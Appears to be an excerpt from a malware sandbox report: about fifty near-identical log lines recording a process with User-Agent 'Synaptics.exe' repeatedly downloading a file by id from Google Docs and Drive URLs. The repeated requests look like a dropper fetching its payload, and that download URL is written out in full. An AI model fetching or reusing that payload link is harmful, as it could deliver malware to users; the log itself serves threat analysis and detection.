Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
